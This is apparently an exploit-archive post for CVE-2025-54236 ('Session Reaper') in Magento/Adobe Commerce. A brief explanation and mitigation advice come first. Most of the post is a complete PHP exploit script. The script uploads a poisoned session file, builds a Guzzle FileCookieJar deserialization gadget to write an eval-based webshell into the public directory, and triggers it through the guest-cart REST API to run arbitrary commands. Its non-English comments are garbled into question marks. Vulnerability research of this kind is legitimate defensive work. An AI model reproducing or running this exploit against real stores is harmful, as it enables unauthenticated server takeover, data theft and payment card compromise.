Adobe Commerce Insecure Deserialization

Adobe Commerce (formerly Magento) has been susceptible to insecure deserialization Adobe Commerce (formerly Magento) has been susceptible to insecure deserialization vulnerabilities.

This critical flaw occurs when the application deserializes untrusted, attacker-controlled data, typically using PHP's `unserialize()` function.

Attackers craft malicious serialized strings containing objects. During deserialization, PHP's magic methods (e.g., `__wakeup()`, `__destruct()`) within existing code 'gadget chains' are triggered.

This allows for arbitrary code execution (Remote Code Execution - RCE) on the server.

Successful exploitation grants attackers full control over the Adobe Commerce instance, leading to data theft, website defacement, or payment card compromise.

These vulnerabilities often arise from handling session data, cache entries, or specific API inputs without proper validation.

Mitigation involves avoiding `unserialize()` on untrusted input, using safer data formats like JSON, and implementing strict input validation.

=============================================================================================================================================
| # Title : Magento 2 / Adobe Commerce Multiple 2.4.x builds Session Reaper Deserialization Vulnerability |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://community.magento.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212729/ & CVE?2025?54236

[+] Summary : CVE?2025?54236 is a critical unauthenticated deserialization vulnerability affecting Adobe Commerce (Magento).
The flaw enables remote attackers to manipulate internal session handling paths and abuse PHP object chains (Guzzle FileCookieJar gadget)
to achieve arbitrary file write, leading to Remote Code Execution (RCE).

A public exploit known informally as ?Magento Session Reaper? chains multiple weaknesses together:

Session file poisoning

JSON API injection

Object deserialization gadgets

Guzzle FileCookieJar file?write primitive

Forced session deserialization

WebShell deployment

The attack requires no valid session, no authentication, and no user interaction.

[+] POC :

# Verification only

php poc.php https://target.com

# Execution with command

php poc.php https://target.com "whoami"

# Execution with shell code

php poc.php https://target.com "<?php system('id'); ?>"


<?php

class MagentoSessionReaperExploit {
private $targetUrl;
private $sessionId;
private $sessionFilename;
private $exploitFilename;
private $postParam;

public function __construct($targetUrl) {
$this->targetUrl = rtrim($targetUrl, '/');
$this->sessionId = bin2hex(random_bytes(16));
$this->sessionFilename = "sess_{$this->sessionId}";
$this->exploitFilename = bin2hex(random_bytes(4)) . ".php";
$this->postParam = bin2hex(random_bytes(4));
}

/**
* ?????? ?? ???? ??????
*/
public function check() {
$randomPath = implode('/', [
bin2hex(random_bytes(4)),
bin2hex(random_bytes(4)),
bin2hex(random_bytes(4))
]);

$cartId = bin2hex(random_bytes(4));
$url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";

$payload = $this->buildDeserializationPayload($randomPath);

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json'
]);

if (!$response) {
return "Unknown: No response from target";
}

$statusCode = $response['status_code'];
$body = strtolower($response['body']);

switch ($statusCode) {
case 400:
return "Safe: Target is patched (returns 400 Bad Request)";
case 404:
if (strpos($body, 'no such entity') !== false &&
(strpos($body, 'cartid') !== false ||
(strpos($body, 'fieldname') !== false && strpos($body, 'fieldvalue') !== false))) {
return "Appears: Target returned 404 with expected error pattern";
}
break;
case 500:
if (strpos($body, 'sessionhandler::read') !== false ||
(strpos($body, 'no such file or directory') !== false && strpos($body, 'session') !== false) ||
strpos($body, 'webapi-') !== false) {
return "Appears: Target returned 500 error with SessionHandler";
}
break;
}

return "Unknown: Unexpected HTTP status: {$statusCode}";
}

/**
* ????? ?????????
*/
public function exploit($command = null) {
echo "[*] Generating Guzzle/FW1 deserialization payload...\n";

$phpStub = "<?php @eval(base64_decode(\$_POST['{$this->postParam}']));?>";
$guzzlePayload = $this->buildGuzzleFw1Payload("pub/{$this->exploitFilename}", $phpStub);

echo "[*] Uploading session file with Guzzle payload...\n";
$formKey = bin2hex(random_bytes(6));
$uploadedPath = $this->uploadSessionFile($guzzlePayload, $formKey);

if (!$uploadedPath) {
echo "[-] Failed to upload session file\n";
return false;
}

$savePath = "media/customer_address" . dirname($uploadedPath);

echo "[*] Triggering deserialization...\n";
if (!$this->triggerDeserialization($savePath)) {
echo "[-] Failed to trigger deserialization\n";
return false;
}

echo "[+] Deserialization triggered successfully\n";

// ????? ??????? ???????
$this->cleanup();

$executeUrl = "{$this->targetUrl}/pub/{$this->exploitFilename}";
echo "[*] Executing payload at: {$executeUrl}\n";

if ($command) {
$encodedCommand = base64_encode($command);
$this->sendRequest($executeUrl, 'POST', "{$this->postParam}=" . urlencode($encodedCommand), [
'Content-Type: application/x-www-form-urlencoded'
]);
}

return true;
}

/**
* ??? ??? ?????? ???????
*/
private function uploadSessionFile($content, $formKey) {
$boundary = '----' . bin2hex(random_bytes(16));
$filename = "sess_{$this->sessionId}";

$postData = "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"form_key\"\r\n\r\n";
$postData .= "{$formKey}\r\n";

$postData .= "--{$boundary}\r\n";
$postData .= "Content-Disposition: form-data; name=\"custom_attributes[country_id]\"; filename=\"{$filename}\"\r\n";
$postData .= "Content-Type: application/octet-stream\r\n\r\n";
$postData .= "{$content}\r\n";
$postData .= "--{$boundary}--\r\n";

$url = "{$this->targetUrl}/customer/address_file/upload";

$response = $this->sendRequest($url, 'POST', $postData, [
"Content-Type: multipart/form-data; boundary={$boundary}",
"Cookie: form_key={$formKey}"
]);

if (!$response || $response['status_code'] != 200) {
return null;
}

$jsonResponse = json_decode($response['body'], true);

if (isset($jsonResponse['error']) && $jsonResponse['error'] != 0) {
echo "[-] Upload failed: {$jsonResponse['error']}\n";
return null;
}

if (isset($jsonResponse['file'])) {
return $jsonResponse['file'];
}

$sessionSaveDir = $this->sessionSaveDirFromFilename($filename);
return "/{$sessionSaveDir}/{$filename}";
}

/**
* ???? payload ????? ???????
*/
private function buildDeserializationPayload($savePath) {
$payload = [
'paymentMethod' => [
'paymentData' => [
'context' => [
'urlBuilder' => [
'session' => [
'sessionConfig' => [
'savePath' => $savePath
]
]
]
]
]
]
];

return json_encode($payload);
}

/**
* ????? ????? ???????
*/
private function triggerDeserialization($savePath) {
$cartId = bin2hex(random_bytes(4));
$url = "{$this->targetUrl}/rest/default/V1/guest-carts/{$cartId}/order";

$payload = $this->buildDeserializationPayload($savePath);

$response = $this->sendRequest($url, 'PUT', $payload, [
'Content-Type: application/json',
'Accept: application/json',
"Cookie: PHPSESSID={$this->sessionId}"
]);

if (!$response) {
return false;
}

return in_array($response['status_code'], [404, 500]);
}

/**
* ???? payload Guzzle/FW1
*/
private function buildGuzzleFw1Payload($targetFile, $phpContent) {
$escaped = "{$phpContent}\n";

// Serialize string with PHP binary-safe format
$setCookieData = "a:3:{" .
$this->serializeStringAscii('Expires') . "i:1;" .
$this->serializeStringAscii('Discard') . "b:0;" .
$this->serializeStringAscii('Value') . $this->serializeStringAscii($escaped) .
"}";

$setCookie = 'O:27:"GuzzleHttp\\Cookie\\SetCookie":1:' .
"{" . $this->serializeStringAscii('data') . "{$setCookieData}}";

$cookiesArray = "a:1:{i:0;{$setCookie}}";

$fileCookieJar = 'O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:' .
"{" . $this->serializeStringAscii('cookies') . "{$cookiesArray}" .
$this->serializeStringAscii('strictMode') . "N;" .
$this->serializeStringAscii('filename') . $this->serializeStringAscii($targetFile) .
$this->serializeStringAscii('storeSessionCookies') . "b:1;}";

return "_|{$fileCookieJar}";
}

/**
* ????? ?? ????? ASCII ?????? ???? ?? PHP
*/
private function serializeStringAscii($str) {
$result = '';
$length = strlen($str);

for ($i = 0; $i < $length; $i++) {
$byte = ord($str[$i]);

// Keep printable ASCII characters except backslash (92) and double quote (34)
if ($byte >= 32 && $byte <= 126 && $byte != 92 && $byte != 34) {
$result .= chr($byte);
} else {
// Escape other characters as \xHH
$result .= sprintf("\\x%02x", $byte);
}
}

return "S:{$length}:\"{$result}\";";
}

/**
* ?????? ??? ???? ??? ?????? ?? ??? ?????
*/
private function sessionSaveDirFromFilename($filename) {
return $filename[0] . '/' . $filename[1];
}

/**
* ????? ??? HTTP
*/
private function sendRequest($url, $method, $data = null, $headers = []) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);

if ($method === 'POST' || $method === 'PUT') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
}

if (!empty($headers)) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
}

$response = curl_exec($ch);
$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);

curl_close($ch);

if ($error) {
echo "[-] cURL Error: {$error}\n";
return null;
}

return [
'status_code' => $statusCode,
'body' => $response
];
}

/**
* ????? ??????? ???????
*/
private function cleanup() {
// ???? ????? ???? ??????? ???
// ?? ??????? ???????? ??? ??? ??????? ???? ?? ???????
}
}

// ???? ?????????
if (php_sapi_name() === 'cli') {
echo "Magento SessionReaper Exploit by indoushka\n";
echo "=============================================\n\n";

if ($argc < 2) {
echo "Usage: php " . basename(__FILE__) . " <target_url> [command]\n";
echo "Example: php " . basename(__FILE__) . " https://target.com \"whoami\"\n";
exit(1);
}

$targetUrl = $argv[1];
$command = $argc > 2 ? $argv[2] : null;

$exploit = new MagentoSessionReaperExploit($targetUrl);

// ?????? ?????
echo "[*] Checking target...\n";
$checkResult = $exploit->check();
echo "[*] Check result: {$checkResult}\n";

if (strpos($checkResult, 'Appears') !== false || strpos($checkResult, 'Unknown') !== false) {
echo "[*] Attempting exploitation...\n";
if ($exploit->exploit($command)) {
echo "[+] Exploitation completed successfully\n";
} else {
echo "[-] Exploitation failed\n";
}
} else {
echo "[-] Target appears to be safe or patched\n";
}
}


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================